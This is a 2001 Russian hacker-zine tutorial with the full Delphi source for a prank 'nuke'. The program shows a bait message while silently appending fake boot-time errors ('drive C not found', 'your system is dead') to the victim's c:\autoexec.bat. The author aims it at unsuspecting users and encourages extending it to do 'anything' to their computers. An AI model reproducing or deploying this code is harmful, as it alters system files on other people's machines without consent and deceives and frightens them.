Crew Journal

Западлостроение 2001....

 ЗДРАВСТВУЙ, ТОВАРИЩ! Сегодня я расскажу тебе сказку про...ой чего это я, ну да ладно, вобщем, сегодня мы будем кодить на Делфях(DELPHI 3,или 5..). А кодить мы будем нюк, самый настоящий, почти вирус (вирус в понимании Касперскогого, а для меня - просто нюк ;).
 Зачем нужны нюки? Ага не знаешь! Ну да ладно, я тебе расскажу... Нюки (в моем понимании) это тоже самое, что и заподлянки, т.е от них делается плохо глупым юзверям и ламерюгам.
 К делу! Для начало загрузи делфу, если у тебя ее нет, то бери свои буказойды и беги в магазин покупать ее......Делфа загружается, загружается делфа, прошло уже 30 секунд, а она все загружается...наконец она загрузилась...ах...ох.... Появилась новая форма и много всяких пимпов, на которые можно жмакать :-).
 Находишь на панели с закладками пимпу с подсказкой MEMO (шестая слева), жмакаешь на нее и жмакаешь по форме. На форме поевляется белый прямоугольник с надписью Memo1. Дальше ты ищешь на своей клаве беленькую кнопку F11. Жмешь на нее и утебя появляется Object inspector (форма такая, на которой показаны свойства и события обьекта, дальше - "O.i."). В закладке Properties находишь свойство ALIGN и присваеваешь ему ALCLIENT. Твоя Memo1 растянулась на всю форму. Теперь ищешь в O.i. строку Lines. Дави на нее и получешь новую пимпу (3 точки) чуть правее слова Lines, жми ее! Появится String list editor, там ты будешь писать то, что будет читать жертва, придумай что нибудь такое, что бы жертва (юзверь) заинтерисовалася этим, например: "ЮЗЕРЬ, ТЫ ЛУЗЕРЬ!".
  Можешь считать, что прога готова, это твое дело, на самом деле все еще впереди... Если хочешь правь в O.i. свойства мемы (шрифт, цвет и всякую другую шнягу), а хочешь добавь еще пару компонентов, для красоты, вобщем это твое дело ;-0. Ладно, пора кодить непосредственно сам нюк.
 В O.i. во вкладке Events (предварительно выбери в O.i. Form1) найди событие Oncreate, жми на него дважды, но нежно. Появится Unit1 с процедурой внутри... Твой курсор должен находится между словами begin и end, если его там нет, то поставь его туда. Чуть выше ты увидешь жирное словоVAR. Если видишь, то молодец, а если не видешь, то иди ко врачу ;-[]. Под VAR впиши следующие:"F: TextFile;"Это мы обьявили переменную F типа TextFile. Теперь двигай крысу к нашей процедуре, после begin'а пиши:

reset(f);

append(f);

writeln(f,'echo drive c: not found');

writeln(f,'echo insert system disk in drive a:');

writeln(f,'echo drive a: not found ');

writeln(f,'echo tebe uzhe nichego ne pomozhet');

writeln(f,'pause');

closefile(f);

Ну вот и весь нюк. А фишка тут в том, что если сюда добавить немного мозгов и фантазии, то сделать с компом жертвы (юзверя) можно все что угодно.

Если ты так ничего и непонял, то ты...(здесь употребляется нецензурная лексика), вобщем для особо одаренных, если такие есть, листинг :

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TForm1 = class(TForm)

Memo1: TMemo;

Edit1: TEdit;

procedure FormCreate(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

f:textfile;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);

begin

assignfile(f,'c:\autoexec.bat');

reset(f);

append(f);

writeln(f,'echo drive"c:"not found');

writeln(f,'echo need formating disk c:');

writeln(f,'echo your sistem is ded');

writeln(f,'pause');

closefile(f);

end;

end.